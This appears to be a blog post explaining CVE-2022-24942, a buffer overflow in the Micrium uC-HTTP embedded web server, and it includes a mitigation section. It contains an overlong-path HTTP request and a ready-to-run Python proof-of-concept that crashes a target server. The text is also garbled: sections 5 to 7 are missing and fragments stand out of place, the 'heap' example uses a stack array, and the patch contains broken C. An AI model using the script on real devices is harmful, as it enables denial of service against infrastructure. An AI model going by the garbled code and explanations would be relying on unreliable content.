CVE-2022-24942 is a critical heap-based buffer overflow vulnerability found in the HTTP server feature of Micrium uC-HTTP versions up to 3.01.01. Attackers can use this flaw to perform remote code execution (RCE) by sending a specially crafted HTTP request. This makes systems running vulnerable firmware especially risky, since embedded systems usually don't have typical security layers or maintenance cycles.

In this post, we break down CVE-2022-24942 with code samples and explain how exploitation works. We’ll also reference the original advisories and offer steps to stay secure.

1. What Is Micrium uC-HTTP?

Micrium uC-HTTP is a small-footprint HTTP server designed for embedded systems, such as IoT devices, routers, and industrial controls. Its wide usage in safety-critical and infrastructure environments makes flaws here much more impact-heavy.

2. Vulnerability Overview

Heap-based buffer overflows allow attackers to overwrite portions of memory (the “heap”) used by the program. This can corrupt data, crash the application, or even execute attacker-provided code on the system.

For CVE-2022-24942, an attacker can send a long string as part of their HTTP request and overwrite key memory areas. If the HTTP request contains an overly long header or resource path, and the server code doesn't properly handle the length—boom: heap overwrite.

Reference:  
- NVD Detail  
- uC-HTTP Github (3.01.01 tag)

3. Vulnerable Code

Here’s a simplified version of the vulnerable code. The actual code is on GitHub, but for teaching, let’s focus on the pattern:

void HTTPsReq_ParseReqLine(HTTPs_REQ *p_req, CPU_CHAR *p_buf) {
    // ...
    CPU_CHAR resource[128]; // Buffer for resource string
    // Receives user-controlled input but has no size checks
    strcpy(resource, p_buf); // <-- Heap buffer overflow risk
    // ...
}

If p_buf is longer than 128 characters, the extra data overwrites the memory after the resource array, leading to heap corruption.

4.1 Crafting the Malicious HTTP Request

You just need to send an HTTP request with a very long path, e.g.

GET /AAAAAAAAAAAAAAAA...<512 times>...AAAAAAAA HTTP/1.1
Host: target

A clever attacker can overwrite data structures used for function pointers or control logic.

- When the program continues, it may use overwritten structures, causing the code to jump to attacker-selected areas.

Here’s a Python example that triggers the overflow

import socket

host = "TARGET_IP"
port = 80
payload = "A" * 512  # Overflow the internal heap buffer

request = f"GET /{payload} HTTP/1.1\r\nHost: {host}\r\n\r\n"

with socket.create_connection((host, port)) as sock:
    sock.sendall(request.encode())
    response = sock.recv(1024)
    print(response.decode(errors='replace'))


Note: This is a proof-of-concept DOS demo. To get code execution, more heap grooming, address leaks, and gadgets are needed, but this is the first step.

HTTP server functionality is enabled (commonly http-s_req.c is in your build).

You can check the code or firmware vendor advisories for clues. If it's a closed device (e.g., industrial gateway), ask the vendor.

Silicon Labs and Micrium released a patch that adds proper length checks

CPU_CHAR resource[128];
strncpy(resource, p_buf, sizeof(resource)-1);
resource[sizeof(resource)-1] = '\';

Ask your vendor for an updated firmware.

- If you develop firmware: audit for functions like strcpy, sprintf, etc. with user-controlled input.

8. References

- Official CVE Record
- Micrium uC-HTTP Source Code
- Embedded systems heap buffer overflow, explained

9. Conclusion

Heap overflows like CVE-2022-24942 are especially dangerous in firmware and embedded code, as they’re harder to update and can impact critical devices for years. Always validate input lengths and prefer safer functions. If you use Micrium HTTP server, patch now or isolate the device from untrusted networks.

Timeline

Published on: 11/15/2022 21:15:00 UTC
Last modified on: 11/21/2022 16:19:00 UTC